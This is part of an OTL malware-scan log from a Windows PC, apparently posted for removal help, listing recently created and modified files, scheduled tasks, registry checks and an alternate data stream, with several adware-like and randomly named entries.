[2014-11-07 09:39:10 | 000,001,954 | ---- | M] () -- C:\Users\Iza\Desktop\Winner Download Manager.lnk
[2014-11-07 09:25:30 | 290,093,464 | ---- | M] (Macrovision Corporation) -- C:\Users\Iza\Documents\CorelDRAWGraphicsSuiteX3(dobreprogramy.pl).exe
[2014-11-07 09:22:45 | 000,777,088 | ---- | M] (                                                            ) -- C:\Users\Iza\Desktop\CorelDRAW-Graphics-Suite(12135)-dp.exe
[2014-11-07 09:16:18 | 549,068,072 | ---- | M] (Acresso Software Inc.                                        ) -- C:\Users\Iza\Desktop\CorelDRAWGraphicsSuiteX7Installer_EN64Bit.exe
[2014-11-07 08:26:17 | 000,000,492 | -H-- | M] () -- C:\WINDOWS\tasks\SW-Booster-S-792098896.job
[2014-11-07 08:26:13 | 000,001,254 | ---- | M] () -- C:\WINDOWS\tasks\CUGUOZ.job
[2014-11-07 08:25:51 | 268,435,456 | -HS- | M] () -- C:\swapfile.sys
[2014-11-07 08:25:46 | 3323,371,520 | -HS- | M] () -- C:\hiberfil.sys
[2014-11-07 08:24:57 | 001,940,888 | ---- | M] (end) -- C:\Users\Iza\AppData\Roaming\CUGUOZ.exe
[2014-11-07 08:00:10 | 001,464,216 | ---- | M] (end) -- C:\Users\Iza\AppData\Roaming\LBVIRSK.exe
[2014-11-07 07:28:32 | 000,000,266 | RHS- | M] () -- C:\ProgramData\ntuser.pol
[2014-11-07 07:27:50 | 000,000,180 | ---- | M] () -- C:\Users\Iza\Desktop.lnk
[2014-11-07 01:28:42 | 000,048,784 | ---- | M] (StdLib) -- C:\WINDOWS\SysNative\drivers\{9015bae7-cdbb-4473-a5d0-ecfa559b2ca5}Gw64.sys
[2014-11-04 19:55:36 | 000,058,240 | ---- | M] (Word Proser) -- C:\WINDOWS\SysNative\drivers\wpnfd_1_10_0_2.sys
[2014-11-03 16:41:19 | 001,271,263 | ---- | M] () -- C:\Users\Iza\Desktop\baner_pionowy_2.jpg
[2014-10-30 12:17:17 | 001,375,089 | ---- | M] () -- C:\Users\Iza\Desktop\adwcleaner_3.311.exe
[2014-10-28 13:48:17 | 000,049,355 | ---- | M] () -- C:\Users\Iza\Desktop\20141028_131246.jpg
[2014-10-22 13:46:41 | 001,379,841 | ---- | M] () -- C:\Users\Iza\Documents\flaga.pdf
[2014-10-20 19:48:37 | 002,605,750 | ---- | M] () -- C:\Users\Iza\Documents\mailing.pdf
[2014-10-20 19:48:20 | 011,330,638 | ---- | M] () -- C:\Users\Iza\Documents\mailing.cdr
[2014-10-20 19:29:43 | 000,002,927 | ---- | M] () -- C:\Users\Public\Desktop\ABBYY FineReader 12.lnk
[2014-10-20 18:43:42 | 368,451,969 | ---- | M] () -- C:\Users\Iza\Desktop\FR12_Trial_PL.exe
[2014-10-20 09:15:39 | 000,593,512 | ---- | M] () -- C:\WINDOWS\SysNative\FNTCACHE.DAT
[2014-10-17 19:30:04 | 000,000,144 | ---- | M] () -- C:\WINDOWS\SysNative\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
[2014-10-17 19:16:20 | 001,702,400 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wucltux.dll
[2014-10-17 19:16:20 | 000,839,680 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wuapi.dll
[2014-10-17 19:16:20 | 000,672,256 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\wuapi.dll
[2014-10-17 19:16:20 | 000,388,608 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\WUSettingsProvider.dll
[2014-10-17 19:16:20 | 000,137,728 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wuwebv.dll
[2014-10-17 19:16:20 | 000,123,904 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\wuwebv.dll
[2014-10-17 19:16:20 | 000,093,696 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wudriver.dll
[2014-10-17 19:16:20 | 000,080,896 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\wudriver.dll
[2014-10-17 19:16:20 | 000,059,904 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wups.dll
[2014-10-17 19:16:20 | 000,054,752 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wuauclt.exe
[2014-10-17 19:16:20 | 000,050,688 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wups2.dll
[2014-10-17 19:16:20 | 000,035,328 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\wuapp.exe
[2014-10-17 19:16:20 | 000,031,232 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\wuapp.exe
[2014-10-17 19:16:08 | 000,921,600 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\MrmCoreR.dll
[2014-10-17 19:16:08 | 000,626,688 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\MrmCoreR.dll
[2014-10-17 19:16:08 | 000,118,272 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\winbici.dll
[2014-10-17 19:16:08 | 000,076,800 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\BulkOperationHost.exe
[2014-10-17 19:15:58 | 000,076,288 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\packager.dll
[2014-10-17 19:15:58 | 000,068,608 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\packager.dll
[2014-10-17 19:15:48 | 002,646,016 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\authui.dll
[2014-10-17 19:15:48 | 002,321,920 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\authui.dll
[2014-10-17 19:15:47 | 002,779,648 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\msi.dll
[2014-10-17 19:15:30 | 005,829,632 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\jscript9.dll
[2014-10-17 19:15:30 | 002,108,416 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\inetcpl.cpl
[2014-10-17 19:15:30 | 002,017,280 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\inetcpl.cpl
[2014-10-17 19:15:30 | 000,775,168 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\ieapfltr.dll
[2014-10-17 19:15:30 | 000,758,272 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\jscript9diag.dll
[2014-10-17 19:15:30 | 000,731,136 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\msfeeds.dll
[2014-10-17 19:15:30 | 000,710,656 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\ie4uinit.exe
[2014-10-17 19:15:30 | 000,678,400 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\ieapfltr.dll
[2014-10-17 19:15:30 | 000,597,504 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\jscript9diag.dll
[2014-10-17 19:15:30 | 000,446,464 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\dxtmsft.dll
[2014-10-17 19:15:30 | 000,289,280 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\dxtrans.dll
[2014-10-17 19:15:30 | 000,085,504 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\mshtmled.dll
[2014-10-17 19:15:30 | 000,083,968 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\MshtmlDac.dll
[2014-10-17 19:15:30 | 000,072,704 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\JavaScriptCollectionAgent.dll
[2014-10-17 19:15:30 | 000,069,632 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\mshtmled.dll
[2014-10-17 19:15:30 | 000,061,952 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\MshtmlDac.dll
[2014-10-17 19:15:30 | 000,060,416 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\JavaScriptCollectionAgent.dll
[2014-10-17 19:15:29 | 000,547,328 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\vbscript.dll
[2014-10-17 19:14:57 | 000,590,336 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysNative\rastls.dll
[2014-10-17 19:14:57 | 000,514,048 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\SysWow64\rastls.dll
[2014-10-17 19:14:06 | 000,000,451 | ---- | M] () -- C:\WINDOWS\SysNative\{F33C3B9B-72AF-418A-B3FD-560646F7CDA2}.bat
[2014-10-17 19:09:06 | 000,026,619 | ---- | M] () -- C:\WINDOWS\diagwrn.xml
[2014-10-17 19:09:06 | 000,026,619 | ---- | M] () -- C:\WINDOWS\diagerr.xml
[2014-10-17 19:08:51 | 000,152,673 | ---- | M] () -- C:\plugin000.dmp
[2014-10-17 18:58:45 | 000,023,044 | ---- | M] () -- C:\WINDOWS\SysNative\emptyregdb.dat
[2014-10-17 18:20:56 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\SysNative\drivers\Msft_Kernel_SynTP_01009.Wdf
[2014-10-17 18:19:55 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\SysNative\drivers\Msft_User_WpdFs_01_11_00.Wdf
[2014-10-17 18:19:54 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\SysNative\drivers\Msft_Kernel_Smb_driver_Intel_01009.Wdf
[2014-10-16 09:26:14 | 001,054,912 | ---- | M] (Adobe) -- C:\Users\Iza\Desktop\install_flashplayer15x32au_mssa_aaa_aih.exe
[2014-10-12 09:57:19 | 008,053,594 | ---- | M] () -- C:\Users\Iza\Documents\Beznazwy-5.cdr
[2014-10-12 09:57:08 | 029,006,782 | ---- | M] () -- C:\Users\Iza\Documents\Beznazwy-4.cdr
[2014-10-12 09:56:50 | 011,291,226 | ---- | M] () -- C:\Users\Iza\Documents\Beznazwy-3.cdr
 
[color=#E56717]========== Files Created - No Company Name ==========[/color]
 
[2014-11-10 21:36:05 | 000,854,448 | ---- | C] () -- C:\Users\Iza\Desktop\SecurityCheck.exe
[2014-11-10 21:24:06 | 000,368,705 | ---- | C] () -- C:\Users\Iza\Desktop\gm.zip
[2014-11-10 21:22:41 | 000,380,416 | ---- | C] () -- C:\Users\Iza\Desktop\x2ibv3vl.exe
[2014-11-08 18:35:09 | 000,002,077 | ---- | C] () -- C:\Users\Iza\Desktop\WhiteSmoke Writer V8.lnk
[2014-11-08 18:31:52 | 000,036,964 | ---- | C] () -- C:\Users\Iza\Desktop\20141014_192858.jpg
[2014-11-08 18:31:21 | 000,030,130 | ---- | C] () -- C:\Users\Iza\Desktop\20141003_160425.jpg
[2014-11-08 18:30:16 | 000,041,110 | ---- | C] () -- C:\Users\Iza\Desktop\20140926_201048.jpg
[2014-11-08 18:29:33 | 000,020,323 | ---- | C] () -- C:\Users\Iza\Desktop\20140919_114327.jpg
[2014-11-08 18:27:51 | 000,024,943 | ---- | C] () -- C:\Users\Iza\Desktop\20140910_165247.jpg
[2014-11-08 18:25:19 | 000,063,231 | ---- | C] () -- C:\Users\Iza\Desktop\20140830_172905.jpg
[2014-11-08 18:22:43 | 000,082,147 | ---- | C] () -- C:\Users\Iza\Desktop\20140827_170011.jpg
[2014-11-08 18:21:29 | 000,037,115 | ---- | C] () -- C:\Users\Iza\Desktop\20140826_192024.jpg
[2014-11-08 18:19:01 | 000,030,320 | ---- | C] () -- C:\Users\Iza\Desktop\20141029_101425.jpg
[2014-11-08 18:17:48 | 000,052,748 | ---- | C] () -- C:\Users\Iza\Desktop\20140826_180500.jpg
[2014-11-08 18:16:38 | 000,047,851 | ---- | C] () -- C:\Users\Iza\Desktop\20141029_101410.jpg
[2014-11-07 15:46:01 | 005,930,760 | ---- | C] () -- C:\Users\Iza\Documents\izacentrum.cdr
[2014-11-07 14:06:48 | 003,500,270 | ---- | C] () -- C:\Users\Iza\Documents\centrum.pdf
[2014-11-07 14:06:40 | 002,959,420 | ---- | C] () -- C:\Users\Iza\Documents\centrum.cdr
[2014-11-07 12:50:13 | 000,002,828 | -HS- | C] () -- C:\WINDOWS\SysWow64\KGyGaAvL.sys
[2014-11-07 12:50:13 | 000,000,088 | RHS- | C] () -- C:\WINDOWS\SysWow64\59DE37B258.sys
[2014-11-07 12:38:50 | 000,000,908 | ---- | C] () -- C:\Users\Iza\Desktop\µTorrent.lnk
[2014-11-07 12:38:47 | 000,000,422 | ---- | C] () -- C:\WINDOWS\tasks\SpeeditUp Update.job
[2014-11-07 12:38:46 | 000,001,958 | ---- | C] () -- C:\WINDOWS\patsearch.bin
[2014-11-07 12:38:46 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\SysNative\drivers\Msft_Kernel_webinstrNew_01009.Wdf
[2014-11-07 12:37:02 | 000,001,018 | ---- | C] () -- C:\Users\Iza\Desktop\MiniGet.lnk
[2014-11-07 12:33:23 | 000,002,446 | ---- | C] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-5_user.job
[2014-11-07 12:33:21 | 000,002,446 | ---- | C] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-5.job
[2014-11-07 12:33:12 | 000,002,110 | ---- | C] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-2.job
[2014-11-07 12:33:07 | 000,003,114 | ---- | C] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-1.job
[2014-11-07 12:33:05 | 000,001,344 | ---- | C] () -- C:\WINDOWS\tasks\ZEU.job
[2014-11-07 12:32:54 | 000,004,494 | ---- | C] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-4.job
[2014-11-07 12:32:42 | 000,000,274 | ---- | C] () -- C:\WINDOWS\tasks\RegClean Pro_DEFAULT.job
[2014-11-07 12:32:41 | 000,000,282 | ---- | C] () -- C:\WINDOWS\tasks\RegClean Pro_UPDATES.job
[2014-11-07 12:32:39 | 000,005,184 | ---- | C] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-11.job
[2014-11-07 12:32:36 | 000,001,696 | ---- | C] () -- C:\WINDOWS\tasks\STKMWBD.job
[2014-11-07 12:32:32 | 000,020,296 | ---- | C] () -- C:\WINDOWS\SysNative\roboot64.exe
[2014-11-07 12:32:32 | 000,004,158 | ---- | C] () -- C:\WINDOWS\tasks\37d26f24-b064-4719-97c1-fb45e777e8a6-3.job
[2014-11-07 12:32:31 | 000,001,008 | ---- | C] () -- C:\Users\Public\Desktop\RegClean Pro.lnk
[2014-11-07 09:39:10 | 000,001,954 | ---- | C] () -- C:\Users\Iza\Desktop\Winner Download Manager.lnk
[2014-11-07 09:38:52 | 000,000,356 | ---- | C] () -- C:\WINDOWS\tasks\AmiUpdXp.job
[2014-11-07 09:38:34 | 000,002,434 | ---- | C] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-5_user.job
[2014-11-07 09:38:33 | 000,002,434 | ---- | C] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-5.job
[2014-11-07 09:38:24 | 000,002,098 | ---- | C] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-2.job
[2014-11-07 09:38:19 | 000,003,090 | ---- | C] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-1.job
[2014-11-07 09:38:12 | 000,004,146 | ---- | C] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-4.job
[2014-11-07 09:38:03 | 000,004,828 | ---- | C] () -- C:\WINDOWS\tasks\20056796-1c98-4acb-93b2-46080158cb89-11.job
[2014-11-07 09:36:44 | 000,497,744 | ---- | C] () -- C:\Users\Iza\Desktop\corel x3 serial number__3039_i1399246418_il1374875.exe
[2014-11-07 09:22:41 | 000,777,088 | ---- | C] (                                                            ) -- C:\Users\Iza\Desktop\CorelDRAW-Graphics-Suite(12135)-dp.exe
[2014-11-07 08:00:11 | 000,001,352 | ---- | C] () -- C:\WINDOWS\tasks\LBVIRSK.job
[2014-11-07 07:59:43 | 000,001,254 | ---- | C] () -- C:\WINDOWS\tasks\CUGUOZ.job
[2014-11-07 07:59:42 | 000,000,990 | ---- | C] () -- C:\WINDOWS\tasks\globalUpdateUpdateTaskMachineUA.job
[2014-11-07 07:59:40 | 000,000,986 | ---- | C] () -- C:\WINDOWS\tasks\globalUpdateUpdateTaskMachineCore.job
[2014-11-07 07:31:04 | 000,000,492 | -H-- | C] () -- C:\WINDOWS\tasks\SW-Booster-S-792098896.job
[2014-11-07 07:27:50 | 000,000,180 | ---- | C] () -- C:\Users\Iza\Desktop.lnk
[2014-11-03 16:41:16 | 001,271,263 | ---- | C] () -- C:\Users\Iza\Desktop\baner_pionowy_2.jpg
[2014-10-30 12:17:11 | 001,375,089 | ---- | C] () -- C:\Users\Iza\Desktop\adwcleaner_3.311.exe
[2014-10-28 13:48:17 | 000,049,355 | ---- | C] () -- C:\Users\Iza\Desktop\20141028_131246.jpg
[2014-10-22 13:46:32 | 001,379,841 | ---- | C] () -- C:\Users\Iza\Documents\flaga.pdf
[2014-10-20 19:48:26 | 002,605,750 | ---- | C] () -- C:\Users\Iza\Documents\mailing.pdf
[2014-10-20 19:48:17 | 011,330,638 | ---- | C] () -- C:\Users\Iza\Documents\mailing.cdr
[2014-10-20 19:29:43 | 000,002,927 | ---- | C] () -- C:\Users\Public\Desktop\ABBYY FineReader 12.lnk
[2014-10-20 18:25:10 | 368,451,969 | ---- | C] () -- C:\Users\Iza\Desktop\FR12_Trial_PL.exe
[2014-10-19 15:38:50 | 000,388,729 | ---- | C] () -- C:\WINDOWS\SysNative\ApnDatabase.xml
[2014-10-19 15:37:59 | 000,050,745 | ---- | C] () -- C:\WINDOWS\SysNative\srms.dat
[2014-10-17 19:30:04 | 000,000,144 | ---- | C] () -- C:\WINDOWS\SysNative\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
[2014-10-17 19:29:01 | 000,000,266 | RHS- | C] () -- C:\ProgramData\ntuser.pol
[2014-10-17 19:14:06 | 000,000,451 | ---- | C] () -- C:\WINDOWS\SysNative\{F33C3B9B-72AF-418A-B3FD-560646F7CDA2}.bat
[2014-10-17 19:08:50 | 000,152,673 | ---- | C] () -- C:\plugin000.dmp
[2014-10-17 18:58:45 | 000,023,044 | ---- | C] () -- C:\WINDOWS\SysNative\emptyregdb.dat
[2014-10-17 18:41:01 | 000,001,547 | ---- | C] () -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk
[2014-10-17 18:29:00 | 000,026,619 | ---- | C] () -- C:\WINDOWS\diagwrn.xml
[2014-10-17 18:29:00 | 000,026,619 | ---- | C] () -- C:\WINDOWS\diagerr.xml
[2014-10-17 18:20:56 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\SysNative\drivers\Msft_Kernel_SynTP_01009.Wdf
[2014-10-17 18:19:55 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\SysNative\drivers\Msft_User_WpdFs_01_11_00.Wdf
[2014-10-17 18:19:54 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\SysNative\drivers\Msft_Kernel_Smb_driver_Intel_01009.Wdf
[2014-10-14 14:49:38 | 000,050,371 | ---- | C] () -- C:\Users\Iza\Desktop\20140827_172258.jpg
[2014-10-12 09:57:18 | 008,053,594 | ---- | C] () -- C:\Users\Iza\Documents\Beznazwy-5.cdr
[2014-10-12 09:57:00 | 029,006,782 | ---- | C] () -- C:\Users\Iza\Documents\Beznazwy-4.cdr
[2014-10-12 09:56:46 | 011,291,226 | ---- | C] () -- C:\Users\Iza\Documents\Beznazwy-3.cdr
[2014-09-24 16:10:16 | 000,002,255 | ---- | C] () -- C:\WINDOWS\SysWow64\WimBootCompress.ini
[2014-09-24 16:09:57 | 000,103,936 | ---- | C] () -- C:\WINDOWS\SysWow64\OEMLicense.dll
[2014-09-01 09:18:44 | 000,002,086 | ---- | C] () -- C:\Users\Iza\AppData\Roaming\ZEU
[2014-09-01 09:18:44 | 000,002,086 | ---- | C] () -- C:\Users\Iza\AppData\Roaming\LBVIRSK
[2014-09-01 09:18:44 | 000,001,248 | ---- | C] () -- C:\Users\Iza\AppData\Roaming\STKMWBD
[2014-09-01 09:18:44 | 000,001,248 | ---- | C] () -- C:\Users\Iza\AppData\Roaming\CUGUOZ
[2014-08-25 21:37:27 | 000,002,828 | -HS- | C] () -- C:\ProgramData\KGyGaAvL.sys
[2014-08-25 21:37:27 | 000,000,088 | RHS- | C] () -- C:\ProgramData\0A872DA4F2.sys
[2014-05-20 23:33:38 | 000,348,088 | ---- | C] () -- C:\WINDOWS\SysWow64\igdmd32.dll
[2014-05-20 23:33:32 | 000,183,808 | ---- | C] () -- C:\WINDOWS\SysWow64\igdde32.dll
[2014-05-20 23:33:32 | 000,142,848 | ---- | C] () -- C:\WINDOWS\SysWow64\igdail32.dll
[2014-02-07 21:08:24 | 000,000,000 | -H-- | C] () -- C:\ProgramData\DP45977C.lfl
[2013-08-22 16:36:43 | 000,215,943 | ---- | C] () -- C:\WINDOWS\SysWow64\dssec.dat
[2013-08-22 16:36:42 | 000,000,741 | ---- | C] () -- C:\WINDOWS\SysWow64\NOISE.DAT
[2013-08-22 15:46:23 | 000,067,584 | --S- | C] () -- C:\WINDOWS\bootstat.dat
[2013-08-22 08:01:23 | 000,043,131 | ---- | C] () -- C:\WINDOWS\mib.bin
[2013-08-22 04:32:36 | 000,046,080 | ---- | C] () -- C:\WINDOWS\SysWow64\BWContextHandler.dll
[2013-08-22 00:55:20 | 000,364,544 | ---- | C] () -- C:\WINDOWS\SysWow64\msjetoledb40.dll
[2013-08-22 00:52:39 | 000,673,088 | ---- | C] () -- C:\WINDOWS\SysWow64\mlang.dat
 
[color=#E56717]========== ZeroAccess Check ==========[/color]
 
[2014-10-17 19:12:43 | 000,000,227 | RHS- | M] () -- C:\WINDOWS\assembly\Desktop.ini
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
 
[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32] /64
 
[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
"" = C:\Windows\SysNative\shell32.dll -- [2014-08-16 05:08:41 | 021,195,616 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
 
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2014-08-16 04:16:40 | 018,722,600 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\fastprox.dll -- [2013-08-22 10:49:49 | 000,921,088 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
 
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2013-08-22 03:45:10 | 000,691,712 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\wbemess.dll -- [2013-08-22 10:45:17 | 000,483,840 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both
 
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
 
[color=#E56717]========== LOP Check ==========[/color]
 
[2014-06-29 16:57:26 | 000,000,000 | ---D | M] -- C:\Users\Iza\AppData\Roaming\Lenovo
[2014-11-01 18:43:22 | 000,000,000 | ---D | M] -- C:\Users\Iza\AppData\Roaming\LSC
[2014-11-07 12:38:46 | 000,000,000 | ---D | M] -- C:\Users\Iza\AppData\Roaming\MiniGet
[2014-10-03 21:41:41 | 000,000,000 | ---D | M] -- C:\Users\Iza\AppData\Roaming\OpenOffice.org
[2014-09-06 17:13:40 | 000,000,000 | ---D | M] -- C:\Users\Iza\AppData\Roaming\Opera Software
[2014-06-29 18:19:46 | 000,000,000 | ---D | M] -- C:\Users\Iza\AppData\Roaming\Rovio
[2014-11-07 12:32:33 | 000,000,000 | ---D | M] -- C:\Users\Iza\AppData\Roaming\Systweak
[2014-11-07 12:38:50 | 000,000,000 | ---D | M] -- C:\Users\Iza\AppData\Roaming\uTorrent
 
[color=#E56717]========== Purity Check ==========[/color]
 
 
 
[color=#E56717]========== Alternate Data Streams ==========[/color]
 
@Alternate Data Stream - 6728 bytes -> C:\Users\Iza\Desktop\corel x3 serial number__3039_i1399246418_il1374875.exe:typelib

< End of report >